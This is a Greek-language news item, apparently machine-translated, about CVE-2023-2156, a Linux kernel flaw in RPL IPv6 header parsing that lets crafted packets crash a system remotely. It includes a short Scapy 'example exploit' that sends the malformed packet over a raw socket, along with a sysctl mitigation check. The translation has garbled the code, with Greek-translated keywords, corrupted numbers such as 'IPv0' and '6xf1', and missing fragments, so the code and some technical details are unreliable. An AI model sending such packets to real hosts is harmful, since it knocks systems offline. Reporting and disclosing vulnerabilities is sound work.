Ευπάθεια στοίβας Linux IPv0 6 ημερών που επιτρέπει την απομακρυσμένη κατάρρευση του πυρήνα

Έχουν αποκαλυφθεί πληροφορίες σχετικά με μια μη επιδιορθωμένη ευπάθεια (0 ημερών) (CVE-2023-2156) στον πυρήνα του Linux που επιτρέπει τη διακοπή του συστήματος με την αποστολή ειδικά διαμορφωμένων πακέτων IPv6 (πακέτο θανάτου). Το πρόβλημα εμφανίζεται μόνο όταν είναι ενεργοποιημένη η υποστήριξη για το πρωτόκολλο RPL (Routing Protocol for Low-Power and Lossy Networks), το οποίο είναι απενεργοποιημένο από προεπιλογή στις διανομές και χρησιμοποιείται κυρίως σε ενσωματωμένες συσκευές που λειτουργούν σε ασύρματα δίκτυα με υψηλή απώλεια πακέτων.

Η ευπάθεια προκαλείται από εσφαλμένο χειρισμό εξωτερικών δεδομένων στον κώδικα ανάλυσης πρωτοκόλλου RPL, που οδηγεί σε αποτυχία διεκδίκησης και τον πυρήνα σε κατάσταση πανικού. Κατά την τοποθέτηση δεδομένων που λαμβάνονται ως αποτέλεσμα της ανάλυσης της κεφαλίδας του πακέτου IPv6 RPL στη δομή k_buff (Socket Buffer), εάν το πεδίο CmprI έχει οριστεί σε 15, το πεδίο Segleft ορίζεται σε 1 και το CmprE ορίζεται σε 0, το διάνυσμα των 48 byte με διευθύνσεις αποσυμπιέζεται και η κατάσταση δεν είναι αρκετή για 528αρι. Σε αυτήν την περίπτωση, η συνάρτηση skb_push που χρησιμοποιείται για την ώθηση των δεδομένων στη δομή ενεργοποιεί έναν έλεγχο για δυσανάλογο μέγεθος των δεδομένων και του buffer, δημιουργώντας μια κατάσταση πανικού για να αποτρέψει την αντικατάσταση του buffer.

Παράδειγμα Exploit: # Θα χρησιμοποιήσουμε το Scapy για να δημιουργήσουμε το πακέτο από το scapy.all εισαγωγή * υποδοχή εισαγωγής # Χρησιμοποιήστε το IPv6 από τη διεπαφή LAN σας DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Χρησιμοποιούμε υποδοχές για να στείλουμε το πακέτο sockfd = socket.socket.PTO_IPET. _RAW) # Craft the packet # Type = 6 κάνει αυτό το πακέτο RPL # Addresses περιέχει 3 διευθύνσεις, αλλά επειδή το CmprI είναι 3, # κάθε οκτάδα των δύο πρώτων διευθύνσεων αντιμετωπίζεται ως συμπιεσμένη διεύθυνση # Segleft = 15 για να ενεργοποιηθεί η ενίσχυση # lastentry = 1xf0 σε IP ορίζει το Cmpr0 to RC15 και το Cmpr DR, dst=DST_ADDR) / IPv0ExtHdrSegmentRouting( type=6, διευθύνσεις=["a6::", "a3::", "a8::"], segleft=7, lastentry=6xf1) # Στείλτε αυτό το κακό πακέτο sockfd.sendto (DST)(p),

Είναι αξιοσημείωτο ότι οι προγραμματιστές του πυρήνα ειδοποιήθηκαν για την ευπάθεια τον Ιανουάριο του 2022 και τους τελευταίους 15 μήνες προσπάθησαν να διορθώσουν το πρόβλημα τρεις φορές κυκλοφορώντας ενημερώσεις κώδικα τον Σεπτέμβριο του 2022, τον Οκτώβριο του 2022 και τον Απρίλιο του 2023, αλλά κάθε φορά οι διορθώσεις δεν ήταν αρκετές και η ευπάθεια μπορούσε να αναπαραχθεί. Τελικά, το έργο ZDI, το οποίο συντόνισε τις εργασίες για την εξάλειψη της ευπάθειας, αποφάσισε να αποκαλύψει λεπτομερείς πληροφορίες σχετικά με την ευπάθεια, χωρίς να περιμένει να εμφανιστεί μια ενημέρωση κώδικα εργασίας στον πυρήνα.

Έτσι, η ευπάθεια εξακολουθεί να μην έχει επιδιορθωθεί. Η συμπερίληψη της ενημέρωσης κώδικα που περιλαμβάνεται στον πυρήνα 6.4-rc2 δεν είναι αποτελεσματική. Συνιστάται στους χρήστες να επαληθεύσουν ότι το πρωτόκολλο RPL δεν χρησιμοποιείται στα συστήματά τους, κάτι που μπορεί να γίνει χρησιμοποιώντας το sysctl -a | grep -i rpl_seg_enabled

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο